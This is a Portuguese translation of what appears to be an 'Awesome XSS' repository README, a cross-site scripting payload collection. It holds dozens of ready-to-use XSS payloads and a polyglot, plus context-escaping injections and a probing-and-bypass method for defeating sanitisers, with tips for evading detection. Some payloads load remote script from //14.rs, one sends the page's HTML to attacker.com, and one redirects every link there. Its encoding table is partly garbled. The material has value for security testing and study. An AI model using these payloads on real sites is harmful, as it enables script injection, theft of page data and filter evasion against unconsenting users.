
Coisas incríveis de XSS
Este repositório é uma coleção de recursos Awesome sobre XSS. Contribuições são bem-vindas e devem ser submetidas através de uma issue.
Um belo mapa mental XSS por Jack Masa, aqui
VulnerávelNão vulnerávelFonte: Um input que pode ser controlado por uma fonte externa (não confiável).
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 ou posterior apenas)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: Um método potencialmente perigoso que pode levar a uma vulnerabilidade. Neste caso, um DOM Based XSS.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Esta lista abrangente de sinks e fontes foi retirada de domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Aqui está um poliglota XSS que fiz e que pode quebrar 20+ contextos:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Explicação de como funciona, aqui
Alguns manipuladores de eventos menos detectados
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Algumas tags HTML que você usará
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Caso: <tag>Você pesquisou por $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Caso: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Caso: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Sim, confirm porque alert é muito mainstream.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
Se nada disso funcionar, dê uma olhada na seção Bypassing Incrível
Primeiro, insira uma string não maliciosa como d3v e veja o código fonte para ter uma ideia sobre o número e contextos das reflexões.
Agora, para contexto de atributo, verifique se as aspas duplas (") estão sendo filtradas inserindo x"d3v. Se for alterado para x"d3v, é provável que a saída esteja sendo escapada corretamente. Se isso acontecer, tente o mesmo para aspas simples (') inserindo x'd3v; se for alterado para x', você está ferrado. A única coisa que pode tentar é codificação.
Se as aspas não estiverem sendo filtradas, você pode simplesmente tentar payloads da seção Quebra de Contexto Incrível.
Para contexto JavaScript, verifique quais aspas estão sendo usadas. Por exemplo, se estão fazendo
variable = 'value' or variable = "value"
Agora, digamos que as aspas simples (') estejam em uso. Nesse caso, insira x'd3v. Se for alterado para x\'d3v, tente escapar a contrabarra () adicionando uma contrabarra ao seu probe, ou seja, x\'d3v. Se funcionar, use o seguinte payload:
\'-alert()//
Mas se for alterado para x\\\'d3v, a única coisa que pode tentar é fechar a própria tag script usando:
</script><svg onload=alert()>
Para contexto HTML simples, o probe é x<d3v. Se for alterado para x>d3v, a sanitização adequada está em vigor. Se for refletido como está, você pode inserir uma tag dummy para verificar possíveis filtros. A tag dummy que gosto de usar é x<xxx>. Se for removida ou alterada de alguma forma, significa que o filtro está procurando um par de < e >. Pode ser facilmente contornado usando:
<svg onload=alert()//
ou isso (não funcionará em todos os casos):
<svg onload=alert()
Se suas tags dummy aparecerem no código fonte como estão, vá para qualquer um destes payloads:
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Nota: Nenhum desses payloads usa aspas simples (') ou duplas (").
<object data=javascript:confirm()>
<a href=javascript:confirm()>clique aqui
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>clique aqui
<x ondrag=aconfirm()>arraste aqui
</ScRipT>
</script
</script/>
</script x>
http(s):// pode ser encurtado para // ou /\\ ou \\.document.cookie pode ser encurtado para cookie. Isso se aplica a outros objetos DOM também.alert('XSS') e comece a fazer alert()// para fechar uma tag em vez de >.confirm é a função de pop-up menos detectada, então pare de usar alert.<script src=//14.rs> em vez de <script src="//14.rs">Todos os payloads são criados por mim, salvo indicação contrária.
| HTML | Char | Numeric | Descrição | Hex | CSS (ISO) | JS (Octal) | URL |
|---|
" | " | " | aspas | u+0022 | \0022 | \42 | %22 |
# | # | # | cerquilha | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | sinal de dólar | u+0024 | \0024 | \44 | %24 |
% | % | % | sinal de porcentagem | u+0025 | \0025 | \45 | %25 |
& | & | & | e comercial | u+0026 | \0026 | \46 | %26 |
' | ' | ' | apóstrofo | u+0027 | \0027 | \47 | %27 |
( | ( | ( | parêntese esquerdo | u+0028 | \0028 | \50 | %28 |
) | ) | ) | parêntese direito | u+0029 | \0029 | \51 | %29 |
* | * | * | asterisco | u+002A | \002a | \52 | %2A |
+ | + | + | sinal de mais | u+002B | \002b | \53 | %2B |
, | , | , | vírgula | u+002C | \002c | \54 | %2C |
− | - | - | hífen-menos | u+002D | \002d | \55 | %2D |
. | . | . | ponto final; ponto | u+002E | \002e | \56 | %2E |
/ | / | / | sólido; barra | u+002F | \002f | \57 | %2F |
: | : | : | dois-pontos | u+003A | \003a | \72 | %3A |
; | ; | ; | ponto e vírgula | u+003B | \003b | \73 | %3B |
< | < | < | menor que | u+003C | \003c | \74 | %3C |
= | = | = | igual | u+003D | \003d | \75 | %3D |
> | > | > | maior que | u+003E | \003e | \76 | %3E |
? | ? | ? | ponto de interrogação | u+003F | \003f | \77 | %3F |
@ | @ | @ | arroba; sinal comercial | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | colchete esquerdo | u+005B | \005b | \133 | %5B |
\ | \ | \ | contrabarra | u+005C | \005c | \134 | %5C |
] | ] | ] | colchete direito | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | acento circunflexo | u+005E | \005e | \136 | %5E |
_ | _ | _ | linha inferior | u+005F | \005f | \137 | %5F |
` | ` | ` | acento grave | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | chave esquerda | u+007b | \007b | \173 | %7b |
| | | | | | barra vertical | u+007c | \007c | \174 | %7c |
} | } | } | chave direita | u+007d | \007d | \175 | %7d |
<script src=//14.rs> (19 caracteres)